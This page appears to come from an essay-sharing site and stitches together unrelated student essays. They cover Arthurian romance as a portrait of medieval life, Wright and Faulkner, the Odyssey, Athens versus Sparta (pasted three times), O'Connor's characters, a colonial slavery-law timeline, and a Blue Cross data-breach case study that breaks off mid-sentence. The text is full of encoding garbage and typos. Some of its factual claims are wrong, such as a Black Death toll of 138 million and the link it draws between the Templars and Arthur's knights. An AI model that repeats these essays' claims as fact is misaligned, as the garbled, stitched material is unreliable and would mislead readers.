King Arthur Literary Analysis Essay The name King Arthur appears throughout a countless amount of literature, stories, cinema, and legend. King Arthur has always been a long-standing icon of heroism, and heroism is a theme mankind takes pleasure in romanticizing. Arthurian Romance is the classic example of good versus evil, knights in shining armor, forbidden love, and sorcery; the basic elements of a romanticized tale. And in a dark time where religion clashed, empires fought in epic battles, and the people of Britain suffered from poverty and disease, Arthurian legend was needed to lift the spirits of the hopeless. Arthurian Romance is an accurate portrayal of the time period better known as the Medieval Ages because it takes the woes and misfortunate events of that time and twists them into a heroic soap opera full of love, tragedy, and triumph. The Medieval Ages began around 476 AD, when the Roman emperor of the West abdicated. The period ends in the late fifteenth century with the discovery of the New World. During this period, different nations conquered and collapsed, society changed, and religion was further divided. During the Middle Ages, the Holy Roman Empire had begun an effort to occupy Britain. They wanted to drive out the Anglo-Saxons and convert the Pagans to Catholicism. A long lasting relic of Roman involvement in Britain is Hadrian’s Wall, which was a heavily fortified wall running west to east and was probably used to keep barbarian tribes out and regulate trade and passage into Romano-Britain territory. Along with military involvement, Rome also spread Catholicism to a Pagan Britain. Catholicism involves a hierarchy of religious leaders, with the Pope at the top. There are also bishops, priests, monks, and nuns who are apart of the clergy. Other than the clergy, Medieval society was composed of nobles, knights and serfs. Nobles commonly owned fiefs, an estate of land, and the serfs who worked there. Knights were employed to guard the fief and fight wars with other nobles. This was called Feudalism. When nobles declared a war on each other, many different warfare tactics were used to take down castles. Siege warfare was common, in which scaling ladders, battering rams, siege towers and catapults were utilized in order to enter a fortress. Infantry included archers and cavalry, and there was a broad assortment of weapons used; daggers, long swords, crossbows, throwing axes, clubs, maces, halberds, lances, and many more. While knights commonly fought for a noble or king, a group of fearsome knights known as the Templar Knights fought in the crusades for religious conquest. The Templar Knights are associated with King Arthur’s quest for the Holy Grail, and some of the knights of the round table are portrayed wearing a large red cross on their breastplate (which is the symbol of the Templar Knights). Knights were also involved with jousting. Jousting was a martial game between two knights mounted on horses and using lances. This was often part of a chivalrous tournament or used as a military tactic of heavily armed cavalry. Knights and nobles also were encompassed in courtly love, a conception of nobly and chivalrously expressing love and admiration. Courtly love often did not take place between a husband and wife. Instead, a man would shower another woman in gifts and symbols of his love to her and they would keep their affair secret. A famous example of courtly love is the affair between Lancelot du Lac and Queen Guinevere. The Middle Ages had many lows. Many people associate these times with the Black Plague or the Bubonic Plague. When the Mongols from the east attacked Europe, they brought with them a terrible disease that wiped out about 138 million people. Also during the Middle Ages, there was decrease in scholarly thinking and the quality of art. Religion is blamed for stunting the growth of new ideas and inventions. In fact, religion is the overlying cause for many of the events of the Medieval Ages. The greatest dispute over religion was the East-West Schism that split Christianity into the Roman Catholic Church and the Eastern Orthodox Church. This split was born from disputes over whether the Pope could marry and iconoclasm (similar to worshipping false idols) and the use of local languages in church. They were even in dispute regarding the nature of God. The Crusades were another religious dispute. The Crusades were military campaigns undertaken by European Christians of the eleventh through the fourteenth centuries to take other the Holy Land and convert Muslims to Christianity. The First Crusade was a response to the Seljuk Turks conquering the â€Å"Holy Land† (present-day Israel and Palestine). However, most of these conquests were failures and achieved nothing except for interactions with the Arab world (in both beneficial and devastating ways). Lastly, there was the Inquisition. This was a formalized interrogation and persecution process of heretics (including satanic or witch-like behavior). Punishment for people suspected of heresy was torture and execution. The Church in the Middle Ages is clearly an influential factor of these times. The Medieval Ages also saw quite a bit of political changes. The Carolingian, established by Charles Martel, ruled present-day France, Belgium, Germany and Northern Italy. His grandson, Charlemagne established the Holy Roman Empire. In the North, Vikings and other Scandinavian became notorious for raiding Roman Catholic monasteries. In France, Vikings were referred to as Normans. They conquered Anglo-Saxon England in 1066. As mentioned before, Feudalism was the social, political, and economic system of the Middle Ages. England became a feudalistic society because there was not a unifying force bringing the people together. Many claims to the throne of all Britain were made, which is actually the premise of the King Arthur legend. Nobles and Kings owned land and had armies of Knights who pledged a code of chivalry to them. This was an honor system that strongly condemned betrayal and promoted mutual respect. In the Feudal society, only males could inherit the land. The land was passed down through primogeniture (to the eldest son). Noblewomen had limited rights. They could sometimes inherit fiefs but could not rule it. Noblewomen were only educated in domestic skills and were supposed to display feminine traits such as compassion and beauty. Peasants, male or female, had almost no rights. They couldn’t leave the manor without the permission of their lord. Over time, serfs (peasants) developed skills other than farming and slowly created a middle class that led Europe into the Renaissance. In the long run, all of these characteristics of the Medieval Ages are incorporated in the vast collection of Arthurian Romance. In the 1975 King Arthur Parody â€Å"Monty Python and The Holy Grail†, there is a scene that describes Arthur quite perfectly. In the scene, Arthur is traveling in a Feudal manor and comes across peasants working in a field outside of a castle. He asks a woman, â€Å"I am Arthur, King of the Britons. Whose castle is that? † The peasant woman looks up and asks, â€Å"King of the who? † Arthur repeats himself to which she replies, â€Å"Who are the Britons? † Arthur, stumped by her ignorance, tells her, â€Å"Well, we all are. We’re all Britons and I am your king. † The peasant woman shrugs and says, â€Å"I didn’t know we had a king. I thought we were an autonomous collective! † They argue about this for a moment and then the woman asked, â€Å"Well, how did you become king then? † Arthur dramatically respond with, â€Å"The Lady of the Lake, her arm clad in the purest shimmering samite, held aloft Excalibur from the bosom of the water signifying by Divine Providence that I, Arthur, was to carry Excalibur. That is why I am your king! † Another peasant nearby shouts, â€Å"Listen strange women lying in ponds distributing swords is no basis for a system of government. Supreme executive power derives from a mandate from the masses, not from some farcical aquatic ceremony! † The meaning of the scene is that at the time King Arthur was created as a legend to legitimize the unifying king of Britain that would pull the people out of the Dark Ages. The punch line is that the land was so divided from feudalism and nobles trying to claim a non-existent throne that no one really took anyone seriously. However, Arthurian Romance became the bedtime story born out of the fantastical notion that Britain could be amalgamated into a strong empire. But let’s start at the beginning of the Arthurian legend. In most legends, Uther Pendragon is portrayed as Arthur’s father and Igraine as his mother. In Sir Thomas Malory’s The Crowning of King Arthur, the prophet Merlin helps a love-stricken Uther get with Igraine for a night. Arthur is born, but part of the agreement with Merlin was to have Arthur raised by another. Many years pass in which Arthur does not know his own nobility until he by chance, pulls the famous sword in the stone (the legend goes: â€Å"Who so Pulleth Out This Sword of this Stone and Anvil, is Rightwise King Born of all England. † (Malory, 1069)). Young Arthur accepts his role as King and unites Britain, defeats the Saxons, and establishes Camelot. In the first fictional story of Arthur’s life (Historia Regum Britanniae (History of the kings of Britain) by Geoffrey of Monmouth), Arthur is placed into a post-Roman Britain. Geoffrey uses the same fable of Arthur’s birth through the deception of Igraine. In this legend, Arthur also defeats the Saxons but he also expands his empire to Norway, Denmark and Gaul, and defeats Roman armies in order to do this. In the end, Arthur returns to Britain to defeat his nephew Modredus (Mordred) who was left in charge of Britain but betrayed Arthur. Arthur is mortally wounded, taken to Avalon and it is implied he passed away. Arthurian legend, however, is not only about Arthur. There are many huge characters in the stories. One widely known knight is Sir Lancelot du Lac. Lancelot is a tragic figure in Arthurian Romance. He was a Knight of the Round Table and one of King Arthur’s closest friends. His tragedy is that he was in love with Arthur’s wife, Guinevere. Lancelot was the son of the King Ban on Benwick and Elaine, but he was raised by the Lady of the Lake (â€Å"du lac† actually means â€Å"the lake†). The Lady of the Lake sent Lancelot off to become a Knight of the Round Table. In doing so, he meets and instantly falls in love with Guinevere. Their affair ultimately proves to be destructive. Lancelot is actually tricked by Elaine of Corbenic and sleeps with her, thinking it is Guinevere. When Guinevere hears of this, she is repulsed and banishes Lancelot. Later, Lancelot returns to assist Arthur in the quest for the Holy Grail. Other characters in Arthurian legend are Merlin and Morgaine. Merlin is sometimes a prophet, sometimes a magician, and always an advisor to King Arthur. Merlin’s earliest character depiction was as a bard driven mad by the terrors of war, who become a â€Å"man of the woods†. However, Geoffrey of Monmouth based his Merlin on Myrddin Wyllt (a prophet and a madman) and Aurelius Ambrosius (a fictional version of the historical war leader Ambrosius Aurelianus. Morgaine (also Morgan le Fay) is a sorceress in Arthurian legend. She is the half-sister of Arthur and the daughter of Igraine. In both The Mists of Avalon (Marion Zimmer Bradley) and The Vulgate Cycle (13th century French prose) tell of how Morgaine lives in Avalon (mystical island in Arthurian legend) and trains under Merlin and the Lady of the Lake. Again in the Mists of Avalon, Morgaine is credited with having an unknown affair with Arthur. She gives birth to Mordred, who, in the end, turns out to be the enemy and murderer of King Arthur. In Arthurian Romance, King Arthur’s court is called Camelot. Camelot is where the Knights of the Round Table dwell and it is described as being a utopian land of beauty and peace. Throughout literature, Camelot has been located in many different areas of Britain, giving it no grounded location. An easy way to understand the basic ideology of Camelot, one can compare the presidency of John F.  Kennedy to the term Camelot. His presidency was regarded as a guarantee for a successful future, just like King Arthur gave Britain hope and unification. Kennedy’s assassination is like the fall of Arthur in that both had short lasting but wonderful terms in power that set the bar high for the future. Ultimately, these characters and concepts stem from Medieval life and paint a portrait of what the goals of Middle Age rulers wanted for society at the time. All Arthurian Romance contains the same specific elements: enchantment, quest, conquest, heroic behavior, utopian society, fatal passion and love. These elements, applied with Medieval life and history, equals a solid Arthurian story. The best example of all of these elements is The Crowning of Arthur from Le Morte d’Arthur (Malory, 1065). In the story, Arthur is conceived through the enchantment Merlin uses on Igraine to trick her into thinking Uther Pendragon is her husband, the Duke. Uther, who is fatally in love with Igraine, makes a deal with Merlin in that he will give the child he and Igraine produce to the wizard. Baby Arthur is taken away and grows up with Sir Ector, whom he grows to love as a father. The next part of the story is about the sword in the stone. In the story, â€Å"many of the nobles tried to pull the sword out the stone† (1069), but failed. When Arthur is sent to find Sir Kay (Ector’s son) a sword, he unknowing grabs the legendary sword from the stone and tugs it free without any effort. When Arthur comes back with the famous sword, everyone is in awe and asks him to demonstrate for them that he really pulled it. To their surprise, it is true. They ask Arthur to assume the role of king and he agrees, establishing the utopian court of Camelot. Le Morte d’Arthur is â€Å"the carefully constructed myth of the rise and fall of a powerful kingdom — a legendary kingdom, but perhaps also, obliquely, the real English kingdom which in Malorys day seemed as surely doomed by its own corruption as the ancient realm of King Arthur† (Cliffs Notes). What this means is that Arthur’s court reflects the realistic courts of actual kings because it eventually falls. The Crowning of Arthur seems naive in that a boy who just so happens to pull a sword from a stone makes him king. In the end, his kingdom falls. Crowning only sets it up. The outcome of the Arthurian Legend is quite similar to the reality of kingdoms in England of the Middle Ages, which proves Arthurian Romance is an accurate portrayal. Another story from Le Morte d’Arthur is called Sir Launcelot du Lake. It is a hectic story about Lancelot’s adventure, kidnapping, and battles with enemy knights. In the story, Lancelot decides he is fed up with his ennui and decides to go out with his nephew, Sir Lyonel. Possibly due to enchantment, Lancelot declares, â€Å"not for seven years have I felt so sleepy† (1074) and he lies down for a nap. When he awakes, he realizes three women have kidnapped him. They tell him he has to pick one of them or face his doom. Lancelot picks his death because his is loyal to his lover, Guinevere. Later, the daughter of King Badgemagus rescues him and in return he gives his services to the king. At the end of the story, Lancelot fights off Kind Badgemagus’ enemies. He displays incredible and fictitious strength when he â€Å"took another spear and unhorsed sixteen more men†¦ King of North Galys’ knight and, with his next, unhorsed another twelve† (1078). This story demonstrates chivalry and heroism, and exaggerates Lancelot’s abilities to fight. Literary critic Charles Moorman says â€Å"much of the Morte d’Arthur is thus concerned with revealing the corrupt reality beneath the fair chivalric surface. † However, Sir Launcelot du Lake contradicts that assumption by merely telling a simple story of a great knight who is loyal to his higher-up and to his lady. The story makes the knights of the Medieval Ages appear to bask in honor, goodness and strength. And in a way, they did in real life. Knights did have a strict code of chivalry as well as total loyalty to their nobles and their lovers. Again, this story gives merit to the fact Arthurian legend portrays Medieval society. The poem The Lady of Shalott by Alfred Lord Tennyson is loose depiction of Arthurian Legend. In the poem, a woman is cursed to live in a tower and watch the world of Camelot from a mirror. â€Å"And moving through a mirror clear; That hangs before her all the year; Shadows of a world appear; There she sees the highway near; Winding down to Camelot† (verses 46 through 50). Then one day she sees Sir Lancelot riding in all his beauty and loveliness, and she decides she wants to leave the tower. The Lady of Shalott â€Å"left the web† (109) and gets into a boat. Unfortunately, she dies and floats on down to Camelot. Muriel Mellown says â€Å"she has chosen contact with Camelot, even at the price of her own destruction. † This quote illustrates that Camelot seemed like such a perfect utopian world that everyone sought its perfection and illustriousness. However, the Lady of Shalott kicks the bucket, similar to the way Camelot eventually falls. All good things never last. Lastly, a more modern and feminist take of Arthurian legend is The Mists of Avalon by Marion Zimmer Bradley. In Mists, the story of Arthur is told through the worlds of Morgaine, Arthur’s half-sister. In the excerpt read in class, Morgaine and Arthur are children neglected by their parents. Morgaine realizes her role to be Arthur’s protector, even though she feels disdain towards the child at first. When she says, â€Å"Mother’s gone, she’s with the king, but I’ll take care of you, brother,† (1085), Morgaine displays a bond of love towards her little brother. Morgaine is also depicted as a strong feminine character in both this scene and the entire story. Although â€Å"this book†¦ wasn’t so much a retelling of the Arthurian legend but only a bunch of Arthurian characters sitting around arguing about Christianity and Paganism,† (LaShawn), â€Å"Morgaine’s depiction as a powerful, savvy woman shows her to be the type of woman the feminists would champion as a prime example of what women should aspire to be, in spite of the biases still in place against them† (Ellis). Mists shines a new light and a new perspective on the events of the Medieval Ages, specifically the disputes of religion. It also represents how women did have influence over what happened in the kingdoms. In real life, noblewomen did have influence over the decisions their husbands made, though not legally. The Mists of Avalon yet again portrays a factor of the Medieval Ages. When push comes to shove, Arthurian Romance generally is regarded as a tall tale of a lost era. However, the tales depict a clear portrait of Medieval Life. Tragedy, honor, fatal passion and quest all dwell in the Middle Ages and Arthurian Romance. The characters of Arthurian Romance experience the tragedy of life like real life people and Camelot ends up failing, just like many of the empires and kingdoms of the world. The stories represent the dark times of the Medieval Ages and show that nothing is perfect. Therefore, Arthurian Romance is an accurate portrayal of the Medieval Ages.

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Richard Wright and William Faulkner both examine the psychologies of excluded members of society. While in Native Son, Wright studies someone oppressed and downtrodden beneath society, Faulkner looks at a family of outsiders cast far away from a common community in As I Lay Dying. For both, a central question becomes the function of their characters’ minds in relation to one another, and to reality. Through different approaches, both Wright and Faulkner conduct modernist explorations of the social outcast’s interiority. To accomplish this, each author’s narrative voice traverses the gradient from realism to experimental fragmentation, Wright constructing a vertical consciousness, articulate and omniscient regarding Bigger’s psychological world, and Faulkner accessing a horizontal one, mostly illustrating the Bundren’s surface thoughts and emotions. In Native Son, Wright’s principally naturalistic style, momentarily interrupted by rebellious points of fragmented, modernist language, reflects in form Bigger’s overwhelming repression throughout the novel and his liberating moments of agency. The naturalism contributes to a narrative voice that can articulate Bigger’s fears, impulses, and desires with much greater sophistication than Bigger himself is capable of. This allows Wright to explore Bigger’s consciousness in a vertical manner, omnisciently understanding emotional mechanisms not apparent to Bigger. It is as though we are looking narrowly down at Bigger, and through him. While the narrative voice sees that Bigger’s violent mood swings are the result of his frustrated potential in a segregated society, Bigger only knows these moods as â€Å"the rhythms of his life... ebbing and flowing from the tug of a far-away, invisible force† (... ...ngs their interior lives into such vivid relief that it suggests inadequate or meaningless external existences. For the Bundren’s, such vivid interiors, without constrictions, seem to suffer from lack of compression, while for Bigger, extreme downward pressure on his psyche makes him a volatile character. By exploring this outcast’s interiority through a vertical consciousness, Wright has proven the dangerous lack of agency a young black man has, in segregated Chicago, even over his own actions. Faulkner, by exploring the Bundren’s interior life through a horizontal consciousness, has proven their lack of agency in a different way. They have control over their actions, but their actions, overshadowed, seem to have no affects. By either being oppressed or ignored, both groups of people have damaged consciousnesses, in which they nevertheless discover some relief.

Homer’s epic poem “The Odyssey” Essay

In Homer’s epic poem, â€Å"The Odyssey,† the protagonist, Odysseus, has spent ten years fighting in the Trojan War. Due to the gods’ anger against Odysseus, he is destined to have a very long and difficult journey home. Odysseus proves to be brave because he overcomes both external and internal conflicts on this long journey home. The external conflicts that Odysseus overcomes show that he is highly courageous. For example, the episode with the Cyclops proves he is clever because he tricked Polyphemus into thinking that his men were sheep. Another example of Odysseus’ braveness was his encounter with the suitors. He was very strong and confident which caused him to fight the hundreds of suitors and win even though it was only he and his son against the other men. These external conflicts prove Odysseus’ strength and cleverness, and show how strong and brave he is. Odysseus also had to deal with internal conflicts that affected him personally. For instance, when Odysseus had to pass Charybdis, he knew he would lose some of his men. This hurt Odysseus because him an his men became close during their journey home, so he had to struggle with the fact that he’d have to leave some people behind. Secondly, when Odysseus finally returned home, he didn’t want to tell his wife, Penelope, and his son, Telemachus, who he was right away. He felt that they would not believe him and he wanted to see if they could figure out who he was on their own. These are examples of conflicts Odysseus dealt with within himself, and prove that he is brave. These facts show that Odysseus is fearless and courageous during his external and internal conflicts. He knows how to deal with his troubles, and is a very strong person. Odysseus had many problems on his long journey home, but he made it through and accomplished his main goal; to return to his family and home in Ithaca.

Athens vs. Sparta

Have you ever wondered what it would be like to live in one of the two strongest empires 2,500 years ago? Athens and Sparta were the most powerful empire and city- states in Greece 2,500 years ago. They both shared many of their beliefs and heroes, but they were very different when it came to their government. Athens had a democracy and trade while Sparta was a military state and its focus was training the people for war. Sparta was a better place because the women had more freedom, they were prized for reproduction, and they did not have to worry about raising their hildren after age eight because they had to go off to the military.I would rather live in Sparta because women had more freedom and independence, there was a strong sense of security and theyre government was very well protected, and women were prized and their women's fitness was priority. In Sparta, the women had so much more freedom than the women in Athens. The Athenian women had to stay home and do what the man said and do all the work around the house (F). Their women were treated like children and many times the women were expected to be timid and earful (E).On the other hand, in Sparta, the women could take legal action under the supervision of a male guardian. They were prized for reproduction, women owned two-fifths of the land and they did not have to take care of their babies for long. The women only had to take care of healthy children for about 7 years then they would get taken away to the military (B). Also, they could own land and hire people to work for them. I like this way of living better than Athens because l, personally, like being ndependent and knowing that I can do things on my own.Second, Sparta was a better place to live because they had a very strong government and sense of security. The military in Sparta was very strong and they won many of their battles. Spartan women when handing their son or husband a shield would say â€Å"Come back with your shield, or on it. â⠂¬  Since the men had been trained they knew how to fight and they knew good strategies to help them fight. The two kings of Sparta led the military into battle when it was time.I would like to live ere because I know that if the city-state were attacked, the military would know how to defend the city and keep us safe. Next, Sparta was a better place to live because the women were somewhat important in society. In Sparta, the women were prized for their reproduction (B). If the women did not reproduce, they would not have any new people to go into the military. After seven years a woman would give her child to men who trained him for the military so he could grow up and serve for them (B).When the child became even or eight years they no longer had to worry about child care or the usual eighteen plus years of care that usually happens today. In addition, since women could do as much as the men, they spent time exercising and training for battle even though they could never fght. Th ey would learn battle strategies Just like the men in Sparta and they would stay fit in the process. The women also believed in staying fit because if they were fit then the chance of them having a healthy child was increased. I believe this was important because for me, I like being athletic.I don't think I could sit around and care for a child for many years and Just clean around the In conclusion, I think Athens could have been an okay place to live, but I think the women Just were not treated fairly. I would rather live in Sparta because the women were prized for their reproduction, they stayed fit, they were given more freedom, they were independent, and there was a strong sense of security and a strong and powerful government. I picked Sparta because it fits me best because I am athletic, independent, and I don't like to be treated like dirt. Athens vs. Sparta Have you ever wondered what it would be like to live in one of the two strongest empires 2,500 years ago? Athens and Sparta were the most powerful empire and city- states in Greece 2,500 years ago. They both shared many of their beliefs and heroes, but they were very different when it came to their government. Athens had a democracy and trade while Sparta was a military state and its focus was training the people for war. Sparta was a better place because the women had more freedom, they were prized for reproduction, and they did not have to worry about raising their hildren after age eight because they had to go off to the military.I would rather live in Sparta because women had more freedom and independence, there was a strong sense of security and theyre government was very well protected, and women were prized and their women's fitness was priority. In Sparta, the women had so much more freedom than the women in Athens. The Athenian women had to stay home and do what the man said and do all the work around the house (F). Their women were treated like children and many times the women were expected to be timid and earful (E).On the other hand, in Sparta, the women could take legal action under the supervision of a male guardian. They were prized for reproduction, women owned two-fifths of the land and they did not have to take care of their babies for long. The women only had to take care of healthy children for about 7 years then they would get taken away to the military (B). Also, they could own land and hire people to work for them. I like this way of living better than Athens because l, personally, like being ndependent and knowing that I can do things on my own.Second, Sparta was a better place to live because they had a very strong government and sense of security. The military in Sparta was very strong and they won many of their battles. Spartan women when handing their son or husband a shield would say â€Å"Come back with your shield, or on it. â⠂¬  Since the men had been trained they knew how to fight and they knew good strategies to help them fight. The two kings of Sparta led the military into battle when it was time.I would like to live ere because I know that if the city-state were attacked, the military would know how to defend the city and keep us safe. Next, Sparta was a better place to live because the women were somewhat important in society. In Sparta, the women were prized for their reproduction (B). If the women did not reproduce, they would not have any new people to go into the military. After seven years a woman would give her child to men who trained him for the military so he could grow up and serve for them (B).When the child became even or eight years they no longer had to worry about child care or the usual eighteen plus years of care that usually happens today. In addition, since women could do as much as the men, they spent time exercising and training for battle even though they could never fght. Th ey would learn battle strategies Just like the men in Sparta and they would stay fit in the process. The women also believed in staying fit because if they were fit then the chance of them having a healthy child was increased. I believe this was important because for me, I like being athletic.I don't think I could sit around and care for a child for many years and Just clean around the In conclusion, I think Athens could have been an okay place to live, but I think the women Just were not treated fairly. I would rather live in Sparta because the women were prized for their reproduction, they stayed fit, they were given more freedom, they were independent, and there was a strong sense of security and a strong and powerful government. I picked Sparta because it fits me best because I am athletic, independent, and I don't like to be treated like dirt. Athens vs. Sparta Have you ever wondered what it would be like to live in one of the two strongest empires 2,500 years ago? Athens and Sparta were the most powerful empire and city- states in Greece 2,500 years ago. They both shared many of their beliefs and heroes, but they were very different when it came to their government. Athens had a democracy and trade while Sparta was a military state and its focus was training the people for war. Sparta was a better place because the women had more freedom, they were prized for reproduction, and they did not have to worry about raising their hildren after age eight because they had to go off to the military.I would rather live in Sparta because women had more freedom and independence, there was a strong sense of security and theyre government was very well protected, and women were prized and their women's fitness was priority. In Sparta, the women had so much more freedom than the women in Athens. The Athenian women had to stay home and do what the man said and do all the work around the house (F). Their women were treated like children and many times the women were expected to be timid and earful (E).On the other hand, in Sparta, the women could take legal action under the supervision of a male guardian. They were prized for reproduction, women owned two-fifths of the land and they did not have to take care of their babies for long. The women only had to take care of healthy children for about 7 years then they would get taken away to the military (B). Also, they could own land and hire people to work for them. I like this way of living better than Athens because l, personally, like being ndependent and knowing that I can do things on my own.Second, Sparta was a better place to live because they had a very strong government and sense of security. The military in Sparta was very strong and they won many of their battles. Spartan women when handing their son or husband a shield would say â€Å"Come back with your shield, or on it. â⠂¬  Since the men had been trained they knew how to fight and they knew good strategies to help them fight. The two kings of Sparta led the military into battle when it was time.I would like to live ere because I know that if the city-state were attacked, the military would know how to defend the city and keep us safe. Next, Sparta was a better place to live because the women were somewhat important in society. In Sparta, the women were prized for their reproduction (B). If the women did not reproduce, they would not have any new people to go into the military. After seven years a woman would give her child to men who trained him for the military so he could grow up and serve for them (B).When the child became even or eight years they no longer had to worry about child care or the usual eighteen plus years of care that usually happens today. In addition, since women could do as much as the men, they spent time exercising and training for battle even though they could never fght. Th ey would learn battle strategies Just like the men in Sparta and they would stay fit in the process. The women also believed in staying fit because if they were fit then the chance of them having a healthy child was increased. I believe this was important because for me, I like being athletic.I don't think I could sit around and care for a child for many years and Just clean around the In conclusion, I think Athens could have been an okay place to live, but I think the women Just were not treated fairly. I would rather live in Sparta because the women were prized for their reproduction, they stayed fit, they were given more freedom, they were independent, and there was a strong sense of security and a strong and powerful government. I picked Sparta because it fits me best because I am athletic, independent, and I don't like to be treated like dirt.

Characterization of The Grandmother and the Misfit in A Good Man is Hard to Find essays

Characterization of The Grandmother and the Misfit in A Good Man is Hard to Find essays The Characterization of the Grandmother and the Misfit In the first paragraph of Flannery OConnors short story, A Good Man Is Hard to Find, the grandmother is introduced trying to change a planned family trip to Florida with her son, Bailey and his family. It is the night before the trip, and grandmother is seizing at every chance to change Baileys mind. (p.465). The grandmother is the central character of the story, and the family is rather a bland, generic family. The children are portrayed as disrespectful brats, but are a humorous aspect to the story. The family is a typical nuclear family of the fifties, who appear to be disconnected not only to each other, but also to any form of family values. In the first paragraph, grandmother introduces us to the character, the Misfit, as she reads from the newspaper, Here is this fellow that calls himself The Misfit is aloose from the Federal pen and headed toward Florida. She is trying to manipulate the plans of the trip by pointing this out to her son, Bailey. Bailey didnt look up from his reading so she wheeled around then and faced the childrens mother,. This is the first introduction to the mother in the story, who appears throughout the story to be indifferent to everything going on around her. She does however get a reaction from the children, June Star and John Wesley, as they challenge her to stay home if she wants to. The childrens disregard to their grandmothers feelings is ignored by both of the parents, and allows a glimpse of the grandmothers point of view. The first hint of unsettling just below the surface of this story, is when grandmother is the first one in the car the next morning, wearing what seems to be her best clothing. the grandmother had on a navy blue straw sailor hat with a bunch of white viole...

Enslavement Timeline 1619 to 1696

Enslavement Timeline 1619 to 1696 Historian Frances Latimer argues that enslavement happened one law at a time, one person at a time. As the American colonies grew throughout the 17th Century, human bondage transformed from indentured servitude to a life of enslavement. 1612: Commercial tobacco is raised in Jamestown, Va.1619: Twenty Africans are transported to Jamestown. They were imported to work as slaves in Great Britains American colonies.1626: The Dutch West India Company brings eleven African-American men to the New Netherlands1636: Desire, the first carrier in the United States to participate in human trade. The ship is built and first sails from Massachusetts. This marks the beginning of colonial North Americas participation in the Trans-Atlantic Slave Trade.1640: John Punch becomes the first documented slave to receive servitude for life. An African servant, John Punch, is sentenced to life after running away. His white friends, who also ran away, received extended servitude.1640: Residents of New Netherlands are prohibited from providing any assistance to fugitive slaves.1641: The DAngolas become the first recorded marriage between people of African descent.1641: Massachusetts becomes the first colony to legalize enslavement.1643: A fugit ive slave law is established in the New England Confederation. The Confederation includes Massachusetts, Connecticut, and New Haven. 1650: Connecticut legalizes enslavement.1652: Rhode Island creates laws restricting and then forbidding slavery.1652: All black and Native American servants are mandated to take military training by Massachusetts law.1654: Blacks are granted the right to be slaveholders in Virginia.1657: Virginia passes a fugitive slave law.1660: The Council of Foreign Plantations is ordered by Charles II, King of England, to convert slaves and indentured servants to Christianity.1662: Virginia passes a law establishing hereditary slavery. The law states that children of African-American mothers shall be bond or free according to the condition of the mother.1662: Massachusetts passes a law prohibiting blacks from bearing arms. States such as New York, Connecticut, and New Hampshire followed suit.1663: The first documented slave rebellion takes place in Gloucester County, Va.1663: The state of Maryland legalizes enslavement.1663: Charles II gives North Carolina and South Carolina to slave proprietors. 1664: Enslavement is legalized in New York and New Jersey.1664: Maryland becomes the first colony to make marriage between white women and black men illegal.1664: Maryland passes a law making lifelong servitude for black slaves legal. Colonies such as New York, New Jersey, the Carolinas, and Virginia pass similar laws.1666: Maryland enacts a fugitive slave law.1667: Virginia passes a law stating that a Christian baptism will not change a persons status as a slave.1668: New Jersey passes a fugitive slave law.1670: Free Africans and Native Americans are prohibited from owning white Christian servants by Virginia law.1674: New York lawmakers declare that enslaved African-Americans who convert to Christianity will not be freed.1676: Slaves, as well as black and white indentured servants, participate in Bacons Rebellion.1680: Virginia passes laws prohibiting blacksfreed or enslavedfrom bearing arms and congregating in large numbers. The law also enforces stiff punishments for slaves who t ry to escape or attack white Christians. 1682: Virginia passes a law announcing that all imported Africans will be slaves for life.1684: New York prohibits slaves from selling goods.1688: Pennsylvania Quakers establish the first antislavery resolution.1691: Virginia creates its first anti-miscegenation law, prohibiting marriage between whites and blacks as well as whites and Native Americans.1691: Virginia declares it illegal to free slaves within its borders. As a result, freed slaves must leave the colony.1691: South Carolina establishes its first set of slave codes.1694: Importation of Africans increases tremendously into the Carolinas after rice cultivation is developed.1696: Royal African Trade Company loses its monopoly. New England colonists enter into the slave trade.

Blue Cross Mistake Case Study Example | Topics and Well Written Essays - 500 words

Blue Cross Mistake - Case Study Example lans, pre-existing conditions plan and other services that include case management, health lifestyle programs and medical coverage policies (BCBSRI, n.d). In April 2010 Blue Cross and Blue Shield Company were faced with a crisis in which personal information that belongs to approximately twelve thousand BlueCHiP for Medicare members of the company was accidentally contained in a filing cabinet that was donated to a local non- profit organization. The filing cabinet was among other office furniture that was donated to this local organization. This information was sensitive as it contained Medicare Health surveys that included names, contact information, social security data, Medicare identification numbers and other medical information which is not supposed to be in the public domain. The local non-profit organization reported the presence of the information in the office equipment that was donated to them. This prompted a quick investigation into the problem. The company notified the appropriate authorities of the problem including the Medicare members. This was not just enough to handle the above incident. In ensuring that the information was not misused by any other party that got access to it, the company is offering free credit monitoring, assistance in identity theft protection and an Identity protection guarantee for a year. On the other hand to ensure that there is no repeat of such an incident the company was forced to take disciplinary action for all the employees who failed to adhere to the company’s guidelines on information handling (BCBSRI, n.d). The company took the necessary steps in ensuring that the information was not compromised as a result of the breach. In my opinion the steps that the company took were swift and effective in handling the incident. The company made a good choice by informing the relevant authorities and the affected members of the data breach. This is a good sign as they took responsibility of their mess. By offering the